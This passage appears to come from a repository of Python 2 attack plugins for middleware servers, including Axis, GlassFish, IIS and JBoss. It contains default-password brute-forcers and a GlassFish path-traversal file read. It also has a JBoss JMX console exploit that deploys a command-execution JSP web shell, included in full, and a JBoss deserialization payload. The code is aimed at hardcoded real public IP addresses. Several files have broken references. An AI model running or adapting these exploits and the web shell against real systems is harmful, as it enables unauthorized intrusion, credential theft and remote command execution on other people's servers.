(.*?)<\/parameter>',res_html)
37 | info = '%s Local File Inclusion Vulnerability %s:%s'%(read_url,user.group(1),password.group(1))
38 | except:
39 | pass
40 | result['result']=True
41 | result['VerifyInfo'] = {}
42 | result['VerifyInfo']['type']='Local File Inclusion Vulnerability'
43 | result['VerifyInfo']['URL'] =target_url
44 | result['VerifyInfo']['payload']=payload
45 | result['VerifyInfo']['result'] =info
46 | except Exception,e:
47 | print e.text
48 | finally:
49 | if r is not None:
50 | r.close()
51 | del r
52 | if res is not None:
53 | res.close()
54 | del res
55 | return result
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | if __name__ == '__main__':
73 | print P().verify(ip='222.29.81.19',port='8080')
74 |
--------------------------------------------------------------------------------
/middileware/axis/axis_crackpass.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #coding:utf-8
3 | from t import T
4 | import urllib2
5 |
6 |
7 |
8 | class P(T):
9 | def __init__(self):
10 | T.__init__(self)
11 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
12 | timeout=3
13 | target_url = 'http://'+ip+':'+port
14 | result = {}
15 | result['result']=False
16 | r=None
17 | error_i=0
18 | flag_list=['Administration Page','System Components','"axis2-admin/upload"','include page="footer.inc">','axis2-admin/logout']
19 | user_list=['axis','admin','manager','root']
20 | pass_list=['','axis','axis2','123456','12345678','password','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root']
21 | request=None
22 | res=None
23 | for user in user_list:
24 | for password in pass_list:
25 | try:
26 | login_url = target_url+'/axis2/axis2-admin/login'
27 | PostStr='userName=%s&password=%s&submit=+Login+' % (user,password)
28 | request = urllib2.Request(login_url,PostStr)
29 | res = urllib2.urlopen(request,timeout=timeout)
30 | res_html = res.read()
31 | except urllib2.HTTPError,e:
32 | print e
33 | return result
34 | except urllib2.URLError,e:
35 | print e
36 | error_i+=1
37 | if error_i >= 3:
38 | return result
39 | continue
40 |
41 | except:
42 |
43 | return result
44 | finally:
45 |
46 | if res is not None:
47 | res.close()
48 | del res
49 | for flag in flag_list:
50 | if flag in res_html:
51 | info = '%s Axis Weak password %s:%s'%(login_url,user,password)
52 |
53 | result['result']=True
54 | result['VerifyInfo'] = {}
55 | result['VerifyInfo']['type']='Axis Weak password'
56 | result['VerifyInfo']['URL'] =target_url
57 | result['VerifyInfo']['payload']=login_url
58 | result['VerifyInfo']['result'] =info
59 |
60 |
61 | return result
62 | return result
63 |
64 |
65 | if __name__ == '__main__':
66 | print P().verify(ip='222.29.81.19',port='8080')
67 |
68 |
69 |
--------------------------------------------------------------------------------
/middileware/axis/axis_info.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from t import T
3 | import urllib2
4 |
5 |
6 |
7 | class P(T):
8 | def __init__(self):
9 | T.__init__(self)
10 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
11 | timeout=3
12 | target_url = 'http://'+ip+':'+port
13 | result = {}
14 | result['result']=False
15 | vul_url = target_url + "/axis2/axis2-web/HappyAxis.jsp"
16 | response=None
17 | try:
18 | response=urllib2.urlopen(vul_url,timeout=timeout)
19 | res_html = response.read()
20 | except:
21 | return result
22 | finally:
23 | if response is not None:
24 | response.close()
25 | del response
26 | if "Axis2 Happiness Page" in res_html:
27 | info = vul_url + " Axis Information Disclosure"
28 | result['result']=True
29 | result['VerifyInfo'] = {}
30 | result['VerifyInfo']['type']='Axis Information Disclosure'
31 | result['VerifyInfo']['URL'] =target_url
32 | result['VerifyInfo']['payload']=vul_url
33 | result['VerifyInfo']['result'] =info
34 | return result
35 |
36 |
37 |
38 | if __name__ == '__main__':
39 | print P().verify(ip='222.29.81.19',port='8080')
--------------------------------------------------------------------------------
/middileware/axis/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/glassfish/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['glassfish', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'resource/js/cj.js|glassfish.dev.java.net' in context:
4 |
5 | return True
6 | else:
7 | return False
--------------------------------------------------------------------------------
/middileware/glassfish/glassfish_crackpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from t import T
3 | import urllib2
4 |
5 |
6 | class P(T):
7 | def __init__(self):
8 | T.__init__(self)
9 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
10 | timeout=3
11 | target_url = 'http://'+ip+':'+port
12 | result = {}
13 | result['result']=False
14 | error_i=0
15 | flag_list=['Just refresh the page... login will take over','GlassFish Console - Common Tasks','/resource/common/js/adminjsf.js">','Admin Console','src="/homePage.jsf"','src="/header.jsf"','Common Tasks','title="Logout from GlassFish']
16 | user_list=['admin']
17 | pass_list=['adminadmin','admin','glassfish','password','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','manager','root']
18 | res=None
19 | res_html=None
20 | for user in user_list:
21 | for password in pass_list:
22 | try:
23 | PostStr='j_username=%s&j_password=%s&loginButton=Login&loginButton.DisabledHiddenField=true'%(user,password)
24 | print PostStr
25 | request = urllib2.Request(target_url+'/common/j_security_check',PostStr)
26 | res = urllib2.urlopen(request,timeout=timeout)
27 | res_html = res.read()
28 | except urllib2.HTTPError,e:
29 | return result
30 | except urllib2.URLError,e:
31 | error_i+=1
32 | if error_i >= 3:
33 | return result
34 | continue
35 | except:
36 |
37 | break
38 | finally:
39 | if res is not None:
40 | res.close()
41 | del res
42 | for flag in flag_list:
43 | if flag in res_html:
44 | info = '%s/common GlassFish Weak password %s:%s'%(target_url,user,password)
45 |
46 | result['result']=True
47 | result['VerifyInfo'] = {}
48 | result['VerifyInfo']['type']='GlassFish Weak password'
49 | result['VerifyInfo']['URL'] =target_url
50 | result['VerifyInfo']['payload']=target_url+'/common/j_security_check'
51 | result['VerifyInfo']['result'] =info
52 | return result
53 |
54 | return result
55 |
56 | if __name__ == '__main__':
57 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/glassfish/glassfish_fileread.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from t import T
3 | import urllib2
4 |
5 |
6 |
7 | class P(T):
8 | def __init__(self):
9 | T.__init__(self)
10 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
11 | timeout=3
12 | target_url = 'http://'+ip+':'+port
13 | result = {}
14 | result['result']=False
15 | vul_url = target_url + "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/"
16 | res=None
17 | try:
18 | res=urllib2.urlopen(vul_url,timeout=timeout)
19 | res_html = res.read()
20 | except Exception,e:
21 | return result
22 | finally:
23 | if res is not None:
24 | res.close()
25 | del res
26 | if "package-appclient.xml" in res_html:
27 | info = vul_url + "GlassFish File Read Vul"
28 | result['result']=True
29 | result['VerifyInfo'] = {}
30 | result['VerifyInfo']['type']='GlassFish File Read Vulnerability'
31 | result['VerifyInfo']['URL'] =target_url
32 | result['VerifyInfo']['payload']=vul_url
33 | result['VerifyInfo']['result'] =info
34 | return result
35 |
36 |
37 |
38 | if __name__ == '__main__':
39 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/glassfish/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/iis/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['iis', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'Microsoft-IIS' in head or 'Microsoft IIS httpd' in productname.get('productname',''):
4 |
5 | return True
6 | else:
7 | return False
--------------------------------------------------------------------------------
/middileware/iis/iis6.0_cve-2017-7269.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | from t import T
4 | import re
5 | import urllib2,requests,urllib2,json,urlparse
6 | requests.packages.urllib3.disable_warnings()
7 |
8 | import subprocess
9 |
10 |
11 | class P(T):
12 | def __init__(self):
13 | T.__init__(self)
14 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
15 | timeout=5
16 | if int(port) == 443:
17 | protocal = "https"
18 | else:
19 | protocal = "http"
20 | target_url = protocal + "://"+ip+":"+port+'/'
21 |
22 |
23 | result = {}
24 | result['result']=False
25 |
26 | try:
27 |
28 | myout = subprocess.check_output(['curl', '--connect-timeout', '2', '--max-time', '2', '-s','-I', '-X', 'PROPFIND',target_url ])
29 | if "HTTP/1.1 411 Length Required" in myout:
30 |
31 | result['result']=True
32 | result['VerifyInfo'] = {}
33 | result['VerifyInfo']['type']='command execute Vulnerability'
34 | result['VerifyInfo']['URL'] =target_url
35 | result['VerifyInfo']['payload']= 'iis_cve-2017-7269 Vulnerability'
36 | result['VerifyInfo']['level']= 'hole'
37 | result['VerifyInfo']['result'] =r.content
38 | except Exception,e:
39 | #print '[-]error',
40 | print e.text
41 | #pass
42 | #print traceback.print_exc()
43 | finally:
44 |
45 | return result
46 |
47 |
48 |
49 | if __name__ == '__main__':
50 | print P().verify(ip='122.224.58.215',port='80')
51 |
52 |
--------------------------------------------------------------------------------
/middileware/iis/iis_shortname.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | from t import T
4 | import re
5 | import urllib2,requests,urllib2,json,urlparse
6 | requests.packages.urllib3.disable_warnings()
7 |
8 |
9 |
10 |
11 | class P(T):
12 | def __init__(self):
13 | T.__init__(self)
14 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
15 | timeout=5
16 | if int(port) == 443:
17 | protocal = "https"
18 | else:
19 | protocal = "http"
20 | target_url = protocal + "://"+ip+":"+port
21 |
22 |
23 | result = {}
24 | result['result']=False
25 | r=None
26 | s=None
27 | try:
28 |
29 | r=requests.get(url=target_url+'/*~1****/a.aspx',timeout=timeout,allow_redirects=False)
30 | status_1=r.status_code
31 | s=requests.get(url=target_url+'/l1j1e*~1****/a.aspx',timeout=timeout,allow_redirects=False)
32 | status_2=s.status_code
33 | #print target_url
34 | if status_1 == 404 and status_2 == 400:
35 | result['result']=True
36 | result['VerifyInfo'] = {}
37 | result['VerifyInfo']['type']='iis short name Vulnerability'
38 | result['VerifyInfo']['URL'] =target_url
39 | result['VerifyInfo']['payload']= 'null'
40 | result['VerifyInfo']['level']= 'warning'
41 | result['VerifyInfo']['result'] =r.content
42 | except Exception,e:
43 | #print '[-]error',
44 | print e.text
45 | #pass
46 | #print traceback.print_exc()
47 | finally:
48 | closeitem(r)
49 | closeitem(s)
50 | return result
51 | def closeitem(instance):
52 | if instance is not None:
53 | instance.close()
54 | del instance
55 |
56 |
57 | if __name__ == '__main__':
58 | print P().verify(ip='cos.99.com',port='80')
59 |
60 |
--------------------------------------------------------------------------------
/middileware/iis/ms15_034.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | from t import T
4 | import re
5 | import urllib2,requests,urllib2,json,urlparse
6 |
7 |
8 |
9 |
10 | class P(T):
11 | def __init__(self):
12 | T.__init__(self)
13 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
14 | timeout=3
15 | if int(port) == 443:
16 | protocal = "https"
17 | else:
18 | protocal = "http"
19 | target_url = protocal + "://"+ip+":"+str(port)
20 |
21 |
22 | result = {}
23 | result['result']=False
24 | r=None
25 |
26 | vuln_header = {"Range": "bytes=0-18446744073709551615"}
27 |
28 | try:
29 |
30 |
31 | r=requests.get(url=target_url,headers=vuln_header,timeout=timeout,verify=False,allow_redirects=False)
32 | #print r.content
33 | if "请求范围不符合" in r.content or "Requested Range Not Satisfiable" in r.content:
34 |
35 |
36 | result['result']=True
37 | result['VerifyInfo'] = {}
38 | result['VerifyInfo']['type']='iis Vulnerability'
39 | result['VerifyInfo']['URL'] =target_url
40 | result['VerifyInfo']['payload']=vuln_buffer
41 | result['VerifyInfo']['result'] =r.content
42 | except Exception,e:
43 | print e.text
44 | finally:
45 | if r is not None:
46 | r.close()
47 | del r
48 | return result
49 |
50 |
51 |
52 | if __name__ == '__main__':
53 | print P().verify(ip='202.85.212.101',port='443')
54 |
--------------------------------------------------------------------------------
/middileware/iis/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/jboss/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['jboss', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'youcandoit.jpg' in context or 'JBossWeb'in context or 'jboss' in hackinfo or 'jboss' in head :
4 | return True
5 | else:
6 | return False
--------------------------------------------------------------------------------
/middileware/jboss/jboss_crackpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from t import T
3 | import base64
4 | import re
5 | import urllib
6 | import urllib2
7 | import time,random
8 |
9 | class P(T):
10 | def __init__(self):
11 | T.__init__(self)
12 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
13 | timeout=10
14 | target_url = 'http://'+ip+':'+port
15 | result = {}
16 | result['result']=False
17 | error_i = 0
18 | flag_list=['>jboss.j2ee','JBoss JMX Management Console','HtmlAdaptor?action=displayMBeans','JBoss Management']
19 | user_list=['admin','manager','jboss','root']
20 | pass_list=['','admin','123456','12345678','123456789','admin123','admin888','password','admin1','administrator','8888888','123123','admin','manager','root','jboss']
21 | res=None
22 | res_html=None
23 | login_url=None
24 | for user in user_list:
25 | for password in pass_list:
26 | try:
27 | login_url = target_url+'/jmx-console'
28 | request = urllib2.Request(login_url)
29 | auth_str_temp=user+':'+password
30 | auth_str=base64.b64encode(auth_str_temp)
31 | request.add_header('Authorization', 'Basic '+auth_str)
32 | res = urllib2.urlopen(request,timeout=timeout)
33 | res_code = res.code
34 | res_html = res.read()
35 |
36 | except urllib2.HTTPError,e:
37 | print 1
38 | res_code = e.code
39 | res_html = e.read()
40 | except urllib2.URLError,e:
41 | error_i+=1
42 | if error_i >= 3:
43 | return result
44 | continue
45 | except :
46 | break
47 | finally:
48 | if res is not None:
49 | res.close()
50 | del res
51 | if int(res_code) == 404:
52 | break
53 | if int(res_code) == 401:
54 | continue
55 | for flag in flag_list:
56 | if flag in res_html:
57 | info='%s Jboss Weak password %s:%s'%(login_url,user,password)
58 | #login_cookie = res.headers['Set-Cookie']
59 | re = run(ip,port,timeout,'Basic '+auth_str)
60 | if re:
61 | info += re
62 | result['result']=True
63 | result['VerifyInfo'] = {}
64 | result['VerifyInfo']['type']='Jboss Weak password'
65 | result['VerifyInfo']['URL'] =target_url
66 | result['VerifyInfo']['payload']=target_url+'/jmx-console'
67 | result['VerifyInfo']['result'] =info
68 | return result
69 | for user in user_list:
70 | for password in pass_list:
71 | try:
72 | login_url = target_url+'/console/App.html'
73 | request = urllib2.Request(login_url)
74 | auth_str_temp=user+':'+password
75 | auth_str=base64.b64encode(auth_str_temp)
76 | request.add_header('Authorization', 'Basic '+auth_str)
77 | res = urllib2.urlopen(request,timeout=timeout)
78 | res_code = res.code
79 | res_html = res.read()
80 | except urllib2.HTTPError,e:
81 | res_code = e.code
82 | except urllib2.URLError,e:
83 | error_i+=1
84 | if error_i >= 3:
85 | return result
86 | continue
87 | except :
88 | break
89 | finally:
90 | if res is not None:
91 | res.close()
92 | del res
93 |
94 | if int(res_code) == 404:
95 | break
96 | if int(res_code) == 401:
97 | continue
98 | for flag in flag_list:
99 | if flag in res_html:
100 | info='%s Jboss Weak password %s:%s'%(login_url,user,password)
101 |
102 | result['result']=True
103 | result['VerifyInfo'] = {}
104 | result['VerifyInfo']['type']='Jboss Weak password'
105 | result['VerifyInfo']['URL'] =target_url
106 | result['VerifyInfo']['payload']=target_url+'/console/App.html'
107 | result['VerifyInfo']['result'] =info
108 | return result
109 | for user in user_list:
110 | for password in pass_list:
111 | try:
112 | login_url = target_url+'/admin-console/login.seam'
113 | res=urllib2.urlopen(login_url)
114 | res_html = res.read()
115 | if '"http://jboss.org/embjopr/"' in res_html:
116 | key_str=re.search('javax.faces.ViewState\" value=\"(.*?)\"',res_html)
117 | key_hash=urllib.quote(key_str.group(1))
118 | PostStr="login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login&javax.faces.ViewState=%s"%(user,password,key_hash)
119 | request = urllib2.Request(login_url,PostStr)
120 | res = urllib2.urlopen(request,timeout=timeout)
121 | if 'admin-console/secure/summary.seam' in res.read():
122 | info = "%s Jboss Weak password %s:%s"%(login_url,user,password)
123 | result['result']=True
124 | result['VerifyInfo'] = {}
125 | result['VerifyInfo']['type']='Jboss Weak password'
126 | result['VerifyInfo']['URL'] =target_url
127 | result['VerifyInfo']['payload']=target_url+'/admin-console/login.seam'
128 | result['VerifyInfo']['result'] =info
129 | except:
130 | return result
131 | finally:
132 | if res is not None:
133 | res.close()
134 | del res
135 | return result
136 |
137 | if __name__ == '__main__':
138 | print P().verify(ip='1.202.235.69',port='8080')
139 |
--------------------------------------------------------------------------------
/middileware/jboss/jboss_head_getshell.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from t import T
3 | import urllib2
4 | import socket
5 | import time
6 | import random
7 | def random_str(len):
8 | str1=""
9 | for i in range(len):
10 | str1+=(random.choice("ABCDEFGH"))
11 | return str1
12 |
13 | def readfile(path):
14 | data=None
15 | file_object = open(path)
16 | try:
17 | data = file_object.read( )
18 | finally:
19 | file_object.close( )
20 | return data
21 |
22 |
23 |
24 | class P(T):
25 | def __init__(self):
26 | T.__init__(self)
27 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
28 | timeout=3
29 | target_url = 'http://'+ip+':'+port
30 | result = {}
31 | result['result']=False
32 | res=None
33 | s1=None
34 | shell=''
35 | try:
36 | socket.setdefaulttimeout(timeout)
37 | s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
38 | s1.connect((ip,int(port)))
39 | import os
40 | shell=readfile(os.path.split(os.path.realpath(__file__))[0]+'/shell.jsp')
41 | #s1.recv(1024)
42 | shellcode=""
43 | name=random_str(5)
44 | for v in shell:
45 | shellcode+=hex(ord(v)).replace("0x","%")
46 | flag="HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType="+\
47 | "java.lang.String&arg0=%s.war&argType=java.lang.String&arg1=auto700&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3="%(name)+shellcode+\
48 | "&argType=boolean&arg4=True HTTP/1.0\r\n\r\n"
49 | s1.send(flag)
50 | data = s1.recv(512)
51 | s1.close()
52 | time.sleep(10)
53 | url = "http://%s:%d"%(ip,int(port))
54 | webshell_url = "%s/%s/auto700.jsp"%(url,name)
55 | res = urllib2.urlopen(webshell_url,timeout=timeout)
56 | if 'comments' in res.read():
57 | info="Jboss Authentication bypass webshell:%s"%(webshell_url)
58 | result['result']=True
59 | result['VerifyInfo'] = {}
60 | result['VerifyInfo']['type']='Jboss Authentication bypass webshell'
61 | result['VerifyInfo']['URL'] =target_url
62 | result['VerifyInfo']['payload']=webshell_url
63 | result['VerifyInfo']['result'] =info
64 | except Exception,e:
65 | print e
66 |
67 | finally:
68 | if res is not None:
69 | res.close()
70 | if s1 is not None:
71 | s1.close
72 | del shell
73 | return result
74 |
75 |
76 |
77 | if __name__ == '__main__':
78 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/jboss/jboss_info.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 |
4 | from t import T
5 |
6 |
7 |
8 |
9 | class P(T):
10 | def __init__(self):
11 | T.__init__(self)
12 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
13 | timeout=3
14 | target_url = 'http://'+ip+':'+port
15 | result = {}
16 | result['result']=False
17 |
18 | vul_url = target_url + '/status?full=true'
19 | res=None
20 | try:
21 | res=urllib2.urlopen(vul_url,timeout=timeout)
22 | res_html = res.read()
23 | except:
24 | return result
25 | finally:
26 | if res is not None:
27 | res.close()
28 | if "Max processing time" in res_html:
29 | info = vul_url + " Jboss Information Disclosure"
30 | result['result']=True
31 | result['VerifyInfo'] = {}
32 | result['VerifyInfo']['type']='Jboss Information Disclosure'
33 | result['VerifyInfo']['URL'] =target_url
34 | result['VerifyInfo']['payload']=vul_url
35 | result['VerifyInfo']['result'] =info
36 | return result
37 |
38 |
39 |
40 |
41 |
42 | if __name__ == '__main__':
43 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/jboss/jboss_unrce.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 | import urllib2
4 | import binascii
5 | import time
6 |
7 |
8 | from t import T
9 |
10 |
11 | def readfile(path):
12 | data=None
13 | file_object = open(path,'rb')
14 | try:
15 | data = file_object.read( )
16 | finally:
17 | file_object.close( )
18 | return data
19 |
20 | class P(T):
21 | def __init__(self):
22 | T.__init__(self)
23 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
24 | timeout=3
25 | target_url = 'http://'+ip+':'+port
26 | result = {}
27 | result['result']=False
28 | res=None
29 | vul_url = target_url+"/invoker/JMXInvokerServlet"
30 | import os
31 | upload_jar = readfile(os.path.split(os.path.realpath(__file__))[0]+'/upload.jar')
32 |
33 |
34 | vul_test=readfile(os.path.split(os.path.realpath(__file__))[0]+'/vultest.dat')
35 |
36 | try:
37 | urllib2.urlopen(vul_url,upload_jar)
38 | res = urllib2.urlopen(vul_url,vul_test)
39 | if 'vultest11111' in res.read():
40 | info= vul_url +" Jboss Unserialization vul"
41 | result['result']=True
42 | result['VerifyInfo'] = {}
43 | result['VerifyInfo']['type']='Jboss Unserialization vul'
44 | result['VerifyInfo']['URL'] =target_url
45 | result['VerifyInfo']['payload']=vul_url
46 | result['VerifyInfo']['result'] =info
47 | return result
48 | except Exception,e:
49 | return result
50 | finally:
51 | if res is not None:
52 | res.close()
53 | del upload_jar
54 | del vul_test
55 |
56 |
57 |
58 |
59 | if __name__ == '__main__':
60 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/jboss/shell.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*"%> <% %> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "
"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
--------------------------------------------------------------------------------
/middileware/jboss/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/jboss/vultest.dat:
--------------------------------------------------------------------------------
1 | \xAC\xED\x00\x05\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x31\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x64\x4D\x61\x70\x61\x77\x3F\xE0\x5D\xF1\x5A\x70\x03\x00\x02\x4C\x00\x0E\x6B\x65\x79\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x4C\x00\x10\x76\x61\x6C\x75\x65\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x71\x00\x7E\x00\x05\x78\x70\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x78\x70\x00\x00